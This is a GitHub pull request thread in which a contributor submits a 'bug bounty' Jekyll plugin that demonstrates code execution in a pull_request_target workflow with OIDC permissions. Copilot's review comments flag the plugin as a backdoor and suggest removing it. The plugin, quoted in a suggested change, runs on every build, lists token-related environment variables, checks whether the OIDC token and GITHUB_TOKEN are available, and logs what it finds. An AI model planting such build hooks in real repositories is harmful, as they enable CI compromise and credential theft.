[PoC] Bug Bounty Proof of Concept - Supply Chain Vulnerability Demo

[danoneduplo7]

This PR demonstrates the supply chain vulnerability reported via HackerOne.

The workflow jekyll-preview.yml uses pull_request_target + untrusted fork checkout + id-token:write permissions, allowing arbitrary code execution.

This is a controlled security research demonstration.

[Copilot]

Pull request overview

This PR adds a Jekyll plugin intended to demonstrate arbitrary code execution during GitHub Actions Pages preview builds, as part of a bug bounty supply-chain vulnerability PoC.

Changes:

• Add _plugins/pwned.rb that hooks into Jekyll::Hooks and executes during site initialization.
• Collect and log GitHub Actions environment metadata and write it to POC_EVIDENCE.json.

---

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

[Copilot]

This plugin executes arbitrary code during every Jekyll build via Jekyll::Hooks.register :site, :after_init and writes/prints environment-derived “evidence” (including GitHub Actions context) to the workspace/logs. Merging this would introduce an intentional backdoor-style code execution path in production builds and can leak CI metadata; please remove this file from the repository and keep the PoC confined to the security report or a non-merged branch/gist.

Suggested change

	require 'net/http'
	require 'json'
	Jekyll::Hooks.register :site, :after_init do |site|
	# Bug Bounty PoC - Proof of Code Execution in privileged context
	# This demonstrates arbitrary code execution with OIDC permissions
	evidence = {
	timestamp: Time.now.to_s,
	runner: `hostname`.strip,
	available_env_vars: ENV.keys.grep(/ACTIONS|GITHUB|OIDC|TOKEN/).sort,
	oidc_available: !ENV['ACTIONS_ID_TOKEN_REQUEST_URL'].nil?,
	pages_permission: !ENV['GITHUB_TOKEN'].nil?,
	repo: ENV['GITHUB_REPOSITORY'],
	workflow: ENV['GITHUB_WORKFLOW'],
	actor: ENV['GITHUB_ACTOR'],
	event: ENV['GITHUB_EVENT_NAME'],
	message: 'BUG BOUNTY POC: Arbitrary code execution confirmed in pull_request_target context'
	}
	File.write('POC_EVIDENCE.json', JSON.pretty_generate(evidence))
	puts "[BUG BOUNTY POC] Code executed! Evidence written to POC_EVIDENCE.json"
	puts "[BUG BOUNTY POC] OIDC token available: #{evidence[:oidc_available]}"
	puts "[BUG BOUNTY POC] Available privileged env vars: #{evidence[:available_env_vars].join(', ')}"
	end
	# This file previously contained a bug-bounty proof-of-concept Jekyll plugin
	# that executed on every build and logged CI environment metadata.
	# It has been intentionally disabled/removed to avoid introducing a
	# backdoor-style code execution path or leaking sensitive environment data.

[Copilot]

require 'net/http' is unused in this file (no HTTP requests are made). If this file remains (ideally it should not), please remove unused requires to avoid implying network exfiltration behavior and to keep dependencies minimal.

Suggested change

require 'net/http'